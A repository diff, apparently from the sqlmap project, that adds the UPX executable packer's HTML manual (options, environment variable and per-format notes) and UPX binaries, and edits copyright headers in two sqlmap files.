||||
--overlay=copy Copy any extra data attached to the file. [DEFAULT]</pre>
|
||||
<pre>
|
||||
--overlay=strip Strip any overlay from the program instead of
|
||||
copying it. Be warned, this may make the compressed
|
||||
program crash or otherwise unusable.</pre>
|
||||
<pre>
|
||||
--overlay=skip Refuse to compress any program which has an overlay.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="environment">ENVIRONMENT</a></h1>
|
||||
<p>The environment variable <strong>UPX</strong> can hold a set of default
|
||||
options for <strong>UPX</strong>. These options are interpreted first and
|
||||
can be overwritten by explicit command line parameters.
|
||||
For example:</p>
|
||||
<pre>
|
||||
for DOS/Windows: set UPX=-9 --compress-icons#0
|
||||
for sh/ksh/zsh: UPX="-9 --compress-icons=0"; export UPX
|
||||
for csh/tcsh: setenv UPX "-9 --compress-icons=0"</pre>
|
||||
<p>Under DOS/Windows you must use '#' instead of '=' when setting the
|
||||
environment variable because of a COMMAND.COM limitation.</p>
|
||||
<p>Not all of the options are valid in the environment variable -
|
||||
<strong>UPX</strong> will tell you.</p>
|
||||
<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
|
||||
environment variable.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
|
||||
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
|
||||
based personal computer which was popular in the late '80s. Support
|
||||
of this format is only because of nostalgic feelings of one of
|
||||
the authors and serves no practical purpose :-).
|
||||
See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.
|
||||
All debug information will be stripped, though.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
|
||||
<p>Same as vmlinuz/i386.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
|
||||
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
|
||||
themselves (like some commandline utilities that ship with Win95/98/ME).</p>
|
||||
<p>Compressed programs only work on a 286+.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>Maximum uncompressed size: ~65100 bytes.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
|
||||
<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
|
||||
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
|
||||
themselves (like some command line utilities that ship with Win95/98/ME).</p>
|
||||
<p>Compressed programs only work on a 286+.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||
<pre>
|
||||
--no-reloc Use no relocation records in the exe header.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
|
||||
<p>Compressed programs only work on a 286+.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>Maximum uncompressed size: ~65350 bytes.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
|
||||
<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
|
||||
the very bad habit of replacing your stub with its own (outdated) version.
|
||||
Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
|
||||
will fix the 4 KiB alignment of the stub.</p>
|
||||
<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
|
||||
automatically stubify your COFF files. Use the option <strong>--coff</strong> to
|
||||
disable this functionality (see below).</p>
|
||||
<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
|
||||
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.
|
||||
All debug information and trailing garbage will be stripped, though.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--coff Produce COFF output instead of EXE. By default
|
||||
UPX keeps your current stub.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
|
||||
<p>Introduction</p>
|
||||
<pre>
|
||||
Linux/386 support in UPX consists of 3 different executable formats,
|
||||
one optimized for ELF executables ("linux/elf386"), one optimized
|
||||
for shell scripts ("linux/sh386"), and one generic format
|
||||
("linux/386").</pre>
|
||||
<pre>
|
||||
We will start with a general discussion first, but please
|
||||
also read the relevant docs for each of the individual formats.</pre>
|
||||
<pre>
|
||||
Also, there is special support for bootable kernels - see the
|
||||
description of the vmlinuz/386 format.</pre>
|
||||
<p>General user's overview</p>
|
||||
<pre>
|
||||
Running a compressed executable program trades less space on a
|
||||
``permanent'' storage medium (such as a hard disk, floppy disk,
|
||||
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
|
||||
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
|
||||
Running a compressed executable also requires some additional CPU
|
||||
cycles to generate the compressed executable in the first place,
|
||||
and to decompress it at each invocation.</pre>
|
||||
<pre>
|
||||
How much space is traded? It depends on the executable, but many
|
||||
programs save 30% to 50% of permanent disk space. How much CPU
|
||||
overhead is there? Again, it depends on the executable, but
|
||||
decompression speed generally is at least many megabytes per second,
|
||||
and frequently is limited by the speed of the underlying disk
|
||||
or network I/O.</pre>
|
||||
<pre>
|
||||
Depending on the statistics of usage and access, and the relative
|
||||
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
|
||||
invoking and running a compressed executable can be faster than
|
||||
directly running the corresponding uncompressed program.
|
||||
The operating system might perform fewer expensive I/O operations
|
||||
to invoke the compressed program. Paging to or from swap space
|
||||
or /tmp might be faster than paging from the general file system.
|
||||
``Medium-sized'' programs which access about 1/3 to 1/2 of their
|
||||
stored program bytes can do particularly well with compression.
|
||||
Small programs tend not to benefit as much because the absolute
|
||||
savings is less. Big programs tend not to benefit proportionally
|
||||
because each invocation may use only a small fraction of the program,
|
||||
yet UPX decompresses the entire program before invoking it.
|
||||
But in environments where disk or flash memory storage is limited,
|
||||
then compression may win anyway.</pre>
|
||||
<pre>
|
||||
Currently, executables compressed by UPX do not share RAM at runtime
|
||||
in the way that executables mapped from a file system do. As a
|
||||
result, if the same program is run simultaneously by more than one
|
||||
process, then using the compressed version will require more RAM and/or
|
||||
swap space. So, shell programs (bash, csh, etc.) and ``make''
|
||||
might not be good candidates for compression.</pre>
|
||||
<pre>
|
||||
UPX recognizes three executable formats for Linux: Linux/elf386,
|
||||
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
|
||||
it accommodates any file that can be executed. At runtime, the UPX
|
||||
decompression stub re-creates in /tmp a copy of the original file,
|
||||
and then the copy is (re-)executed with the same arguments.
|
||||
ELF binary executables prefer the Linux/elf386 format by default,
|
||||
because UPX decompresses them directly into RAM, uses only one
|
||||
exec, does not use space in /tmp, and does not use /proc.
|
||||
Shell scripts where the underlying shell accepts a ``-c'' argument
|
||||
can use the Linux/sh386 format. UPX decompresses the shell script
|
||||
into low memory, then maps the shell and passes the entire text of the
|
||||
script as an argument with a leading ``-c''.</pre>
|
||||
<p>General benefits:</p>
|
||||
<pre>
|
||||
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
|
||||
libc6, Shell/Perl/Python/... scripts, standalone Java .class
|
||||
binaries, or whatever...
|
||||
All scripts and programs will work just as before.</pre>
|
||||
<pre>
|
||||
- Compressed programs are completely self-contained. No need for
|
||||
any external program.</pre>
|
||||
<pre>
|
||||
- UPX keeps your original program untouched. This means that
|
||||
after decompression you will have a byte-identical version,
|
||||
and you can use UPX as a file compressor just like gzip.
|
||||
[ Note that UPX maintains a checksum of the file internally,
|
||||
so it is indeed a reliable alternative. ]</pre>
|
||||
<pre>
|
||||
- As the stub only uses syscalls and isn't linked against libc it
|
||||
should run under any Linux configuration that can run ELF
|
||||
binaries.</pre>
|
||||
<pre>
|
||||
- For the same reason compressed executables should run under
|
||||
FreeBSD and other systems which can run Linux binaries.
|
||||
[ Please send feedback on this topic ]</pre>
|
||||
<p>General drawbacks:</p>
|
||||
<pre>
|
||||
- It is not advisable to compress programs which usually have many
|
||||
instances running (like `sh' or `make') because the common segments of
|
||||
compressed programs won't be shared any longer between different
|
||||
processes.</pre>
|
||||
<pre>
|
||||
- `ldd' and `size' won't show anything useful because all they
|
||||
see is the statically linked stub. Since version 0.82 the section
|
||||
headers are stripped from the UPX stub and `size' doesn't even
|
||||
recognize the file format. The file patches/patch-elfcode.h has a
|
||||
patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
|
||||
<p>General notes:</p>
|
||||
<pre>
|
||||
- As UPX leaves your original program untouched it is advantageous
|
||||
to strip it before compression.</pre>
|
||||
<pre>
|
||||
- If you compress a script you will lose platform independence -
|
||||
this could be a problem if you are using NFS mounted disks.</pre>
|
||||
<pre>
|
||||
- Compression of suid, guid and sticky-bit programs is rejected
|
||||
because of possible security implications.</pre>
|
||||
<pre>
|
||||
- For the same reason there is no sense in making any compressed
|
||||
program suid.</pre>
|
||||
<pre>
|
||||
- Obviously UPX won't work with executables that want to read data
|
||||
from themselves. E.g., this might be a problem for Perl scripts
|
||||
which access their __DATA__ lines.</pre>
|
||||
<pre>
|
||||
- In case of internal errors the stub will abort with exitcode 127.
|
||||
Typical reasons for this to happen are that the program has somehow
|
||||
been modified after compression.
|
||||
Running `strace -o strace.log compressed_file' will tell you more.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
|
||||
<p>Please read the general Linux description first.</p>
|
||||
<p>The linux/elf386 format decompresses directly into RAM,
|
||||
uses only one exec, does not use space in /tmp,
|
||||
and does not use /proc.</p>
|
||||
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>How it works:</p>
|
||||
<pre>
|
||||
For ELF executables, UPX decompresses directly to memory, simulating
|
||||
the mapping that the operating system kernel uses during exec(),
|
||||
including the PT_INTERP program interpreter (if any).
|
||||
The brk() is set by a special PT_LOAD segment in the compressed
|
||||
executable itself. UPX then wipes the stack clean except for
|
||||
arguments, environment variables, and Elf_auxv entries (this is
|
||||
required by bugs in the startup code of /lib/ld-linux.so as of
|
||||
May 2000), and transfers control to the program interpreter or
|
||||
the e_entry address of the original executable.</pre>
|
||||
<pre>
|
||||
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||
<p>Specific drawbacks:</p>
|
||||
<pre>
|
||||
- For linux/elf386 and linux/sh386 formats, you will be relying on
|
||||
RAM and swap space to hold all of the decompressed program during
|
||||
the lifetime of the process. If you already use most of your swap
|
||||
space, then you may run out. A system that is "out of memory"
|
||||
can become fragile. Many programs do not react gracefully when
|
||||
malloc() returns 0. With newer Linux kernels, the kernel
|
||||
may decide to kill some processes to regain memory, and you
|
||||
may not like the kernel's choice of which to kill. Running
|
||||
/usr/bin/top is one way to check on the usage of swap space.</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
(none)</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
|
||||
<p>Please read the general Linux description first.</p>
|
||||
<p>Shell scripts where the underling shell accepts a ``-c'' argument
|
||||
can use the Linux/sh386 format. <strong>UPX</strong> decompresses the shell script
|
||||
into low memory, then maps the shell and passes the entire text of the
|
||||
script as an argument with a leading ``-c''.
|
||||
It does not use space in /tmp, and does not use /proc.</p>
|
||||
<p>Linux/sh386 is automatically selected for shell scripts that
|
||||
use a known shell.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>How it works:</p>
|
||||
<pre>
|
||||
For shell script executables (files beginning with "#!/" or "#! /")
|
||||
where the shell is known to accept "-c <command>", UPX decompresses
|
||||
the file into low memory, then maps the shell (and its PT_INTERP),
|
||||
and passes control to the shell with the entire decompressed file
|
||||
as the argument after "-c". Known shells are sh, ash, bash, bsh, csh,
|
||||
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
|
||||
for shell scripts which use the one optional string argument after
|
||||
the shell name in the script (example: "#! /bin/sh option3\n".)</pre>
|
||||
<pre>
|
||||
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||
<p>Specific drawbacks:</p>
|
||||
<pre>
|
||||
- For linux/elf386 and linux/sh386 formats, you will be relying on
|
||||
RAM and swap space to hold all of the decompressed program during
|
||||
the lifetime of the process. If you already use most of your swap
|
||||
space, then you may run out. A system that is "out of memory"
|
||||
can become fragile. Many programs do not react gracefully when
|
||||
malloc() returns 0. With newer Linux kernels, the kernel
|
||||
may decide to kill some processes to regain memory, and you
|
||||
may not like the kernel's choice of which to kill. Running
|
||||
/usr/bin/top is one way to check on the usage of swap space.</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
(none)</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
|
||||
<p>Please read the general Linux description first.</p>
|
||||
<p>The generic linux/386 format decompresses to /tmp and needs
|
||||
/proc file system support. It starts the decompressed program
|
||||
via the <code>execve()</code> syscall.</p>
|
||||
<p>Linux/386 is only selected if the specialized linux/elf386
|
||||
and linux/sh386 won't recognize a file.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>How it works:</p>
|
||||
<pre>
|
||||
For files which are not ELF and not a script for a known "-c" shell,
|
||||
UPX uses kernel execve(), which first requires decompressing to a
|
||||
temporary file in the file system. Interestingly -
|
||||
because of the good memory management of the Linux kernel - this
|
||||
often does not introduce a noticeable delay, and in fact there
|
||||
will be no disk access at all if you have enough free memory as
|
||||
the entire process takes places within the file system buffers.</pre>
|
||||
<pre>
|
||||
A compressed executable consists of the UPX stub and an overlay
|
||||
which contains the original program in a compressed form.</pre>
|
||||
<pre>
|
||||
The UPX stub is a statically linked ELF executable and does
|
||||
the following at program startup:</pre>
|
||||
<pre>
|
||||
1) decompress the overlay to a temporary location in /tmp
|
||||
2) open the temporary file for reading
|
||||
3) try to delete the temporary file and start (execve)
|
||||
the uncompressed program in /tmp using /proc/<pid>/fd/X as
|
||||
attained by step 2)
|
||||
4) if that fails, fork off a subprocess to clean up and
|
||||
start the program in /tmp in the meantime</pre>
|
||||
<pre>
|
||||
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||
<p>Specific drawbacks:</p>
|
||||
<pre>
|
||||
- You need additional free disk space for the uncompressed program
|
||||
in your /tmp directory. This program is deleted immediately after
|
||||
decompression, but you still need it for the full execution time
|
||||
of the program.</pre>
|
||||
<pre>
|
||||
- You must have /proc file system support as the stub wants to open
|
||||
/proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you
|
||||
cannot compress programs that are used during the boot sequence
|
||||
before /proc is mounted.</pre>
|
||||
<pre>
|
||||
- Utilities like `top' will display numerical values in the process
|
||||
name field. This is because Linux computes the process name from
|
||||
the first argument of the last execve syscall (which is typically
|
||||
something like /proc/<pid>/fd/3).</pre>
|
||||
<pre>
|
||||
- Because of temporary decompression to disk the decompression speed
|
||||
is not as fast as with the other executable formats. Still, I can see
|
||||
no noticeable delay when starting programs like my ~3 MiB emacs (which
|
||||
is less than 1 MiB when compressed :-).</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--force-execve Force the use of the generic linux/386 "execve"
|
||||
format, i.e. do not try the linux/elf386 and
|
||||
linux/sh386 formats.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
|
||||
<p>This is the executable format used by the Sony PlayStation (PSone),
|
||||
a Mips R3000 based gaming console which is popular since the late '90s.
|
||||
Support of this format is very similar to the Atari one, because of
|
||||
nostalgic feelings of one of the authors.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression,
|
||||
until further notice.</p>
|
||||
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
|
||||
<p>Notes:</p>
|
||||
<pre>
|
||||
- UPX creates as default a suitable executable for CD-Mastering
|
||||
and console transfer. For a CD-Master main executable you could also try
|
||||
the special option "--boot-only" as described below.
|
||||
It has been reported that upx packed executables are fully compatible with
|
||||
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
|
||||
Sony PlayStation (PSone) emulation mode.</pre>
|
||||
<pre>
|
||||
- Normally the packed files use the same memory areas like the uncompressed
|
||||
versions, so they will not override other memory areas while unpacking.
|
||||
If this isn't possible UPX will abort showing a 'packed data overlap'
|
||||
error. With the "--force" option UPX will relocate the loading address
|
||||
for the packed file, but this isn't a real problem if it is a single or
|
||||
the main executable.</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--8-bit Uses 8 bit size compression [default: 32 bit]</pre>
|
||||
<pre>
|
||||
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]</pre>
|
||||
<pre>
|
||||
--boot-only This format is for main exes and CD-Mastering only !
|
||||
It may slightly improve the compression ratio,
|
||||
decompression routines are faster than default ones.
|
||||
But it cannot be used for console transfer !</pre>
|
||||
<pre>
|
||||
--no-align This option disables CD mode 2 data sector format
|
||||
alignment. May slightly improves the compression ratio,
|
||||
but the compressed executable will not boot from a CD.
|
||||
Use it for console transfer only !</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
|
||||
<p>Same as win32/pe.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
|
||||
<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
|
||||
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
|
||||
bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
|
||||
gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
|
||||
<p>vmlinuz/386 is completely unrelated to the other Linux executable
|
||||
formats, and it does not share any of their drawbacks.</p>
|
||||
<p>Notes:</p>
|
||||
<pre>
|
||||
- Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed
|
||||
during compression - otherwise a wrong executable format
|
||||
may have been used, and the kernel won't boot.</pre>
|
||||
<p>Benefits:</p>
|
||||
<pre>
|
||||
- Better compression (but note that the kernel was already compressed,
|
||||
so the improvement is not as large as with other formats).
|
||||
Still, the bytes saved may be essential for special needs like
|
||||
boot disks.</pre>
|
||||
<pre>
|
||||
For example, this is what I get for my 2.2.16 kernel:
|
||||
1589708 vmlinux
|
||||
641073 bzImage [original]
|
||||
560755 bzImage.upx [compressed by "upx -9"]</pre>
|
||||
<pre>
|
||||
- Much faster decompression at kernel boot time (but kernel
|
||||
decompression speed is not really an issue these days).</pre>
|
||||
<p>Drawbacks:</p>
|
||||
<pre>
|
||||
(none)</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
|
||||
<p><strong>UPX</strong> has been successfully tested with the following extenders:
|
||||
DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
|
||||
The WDOS/X extender is partly supported (for details
|
||||
see the file bugs BUGS).</p>
|
||||
<p>DLLs and the LX format are not supported.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--le Produce an unbound LE output instead of
|
||||
keeping the current stub.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
|
||||
<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
|
||||
still some incompatibilities with some files.</p>
|
||||
<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
|
||||
can see increased memory usage of your compressed files because the whole
|
||||
program is loaded into memory at startup.
|
||||
If you start several instances of huge compressed programs you're
|
||||
wasting memory because the common segments of the program won't
|
||||
get shared across the instances.
|
||||
On the other hand if you're compressing only smaller programs, or
|
||||
running only one instance of larger programs, then this penalty is
|
||||
smaller, but it's still there.</p>
|
||||
<p>If you're running executables from network, then compressed programs
|
||||
will load faster, and require less bandwidth during execution.</p>
|
||||
<p>DLLs are supported. But UPX compressed DLLs can not share common data and
|
||||
code when they got used by multiple applications. So compressing msvcrt.dll
|
||||
is a waste of memory, but compressing the dll plugins of a particular
|
||||
application may be a better idea.</p>
|
||||
<p>Screensavers are supported, with the restriction that the filename
|
||||
must end with ``.scr'' (as screensavers are handled slightly different
|
||||
than normal exe files).</p>
|
||||
<p>UPX compressed PE files have some minor memory overhead (usually in the
|
||||
10 - 30 KiB range) which can be seen by specifying the ``-i'' command
|
||||
line switch during compression.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--compress-exports=0 Don't compress the export section.
|
||||
Use this if you plan to run the compressed
|
||||
program under Wine.
|
||||
--compress-exports=1 Compress the export section. [DEFAULT]
|
||||
Compression of the export section can improve the
|
||||
compression ratio quite a bit but may not work
|
||||
with all programs (like winword.exe).
|
||||
UPX never compresses the export section of a DLL
|
||||
regardless of this option.</pre>
|
||||
<pre>
|
||||
--compress-icons=0 Don't compress any icons.
|
||||
--compress-icons=1 Compress all but the first icon.
|
||||
--compress-icons=2 Compress all icons which are not in the
|
||||
first icon directory. [DEFAULT]
|
||||
--compress-icons=3 Compress all icons.</pre>
|
||||
<pre>
|
||||
--compress-resources=0 Don't compress any resources at all.</pre>
|
||||
<pre>
|
||||
--keep-resource=list Don't compress resources specified by the list.
|
||||
The members of the list are separated by commas.
|
||||
A list member has the following format: I<type[/name]>.
|
||||
I<Type> is the type of the resource. Standard types
|
||||
must be specified as decimal numbers, user types can be
|
||||
specified by decimal IDs or strings. I<Name> is the
|
||||
identifier of the resource. It can be a decimal number
|
||||
or a string. For example:</pre>
|
||||
<pre>
|
||||
--keep-resource=2/MYBITMAP,5,6/12345</pre>
|
||||
<pre>
|
||||
UPX won't compress the named bitmap resource "MYBITMAP",
|
||||
it leaves every dialog (5) resource uncompressed, and
|
||||
it won't touch the string table resource with identifier
|
||||
12345.</pre>
|
||||
<pre>
|
||||
--force Force compression even when there is an
|
||||
unexpected value in a header field.
|
||||
Use with care.</pre>
|
||||
<pre>
|
||||
--strip-relocs=0 Don't strip relocation records.
|
||||
--strip-relocs=1 Strip relocation records. [DEFAULT]
|
||||
This option only works on executables with base
|
||||
address greater or equal to 0x400000. Usually the
|
||||
compressed files becomes smaller, but some files
|
||||
may become larger. Note that the resulting file will
|
||||
not work under Windows 3.x (Win32s).
|
||||
UPX never strips relocations from a DLL
|
||||
regardless of this option.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
|
||||
<p>Exit status is normally 0; if an error occurs, exit status
|
||||
is 1. If a warning occurs, exit status is 2.</p>
|
||||
<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="bugs">BUGS</a></h1>
|
||||
<p>Please report all bugs immediately to the authors.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="authors">AUTHORS</a></h1>
|
||||
<pre>
|
||||
Markus F.X.J. Oberhumer <markus@oberhumer.com>
|
||||
<a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
|
||||
<pre>
|
||||
Laszlo Molnar <ml1050@users.sourceforge.net></pre>
|
||||
<pre>
|
||||
John F. Reiser <jreiser@BitWagon.com></pre>
|
||||
<pre>
|
||||
Jens Medoch <jssg@users.sourceforge.net></pre>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="copyright">COPYRIGHT</a></h1>
|
||||
<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
|
||||
<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
|
||||
<p>Copyright (C) 2000-2008 John F. Reiser</p>
|
||||
<p>Copyright (C) 2002-2008 Jens Medoch</p>
|
||||
<p>This program may be used freely, and you are welcome to
|
||||
redistribute it under certain conditions.</p>
|
||||
<p>This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
<strong>UPX License Agreement</strong> for more details.</p>
|
||||
<p>You should have received a copy of the UPX License Agreement along
|
||||
with this program; see the file LICENSE. If not, visit the UPX home page.</p>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
BIN
lib/contrib/upx/linux/upx
Executable file
BIN
lib/contrib/upx/linux/upx
Executable file
Binary file not shown.
BIN
lib/contrib/upx/windows/upx.exe
Executable file
BIN
lib/contrib/upx/windows/upx.exe
Executable file
Binary file not shown.
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
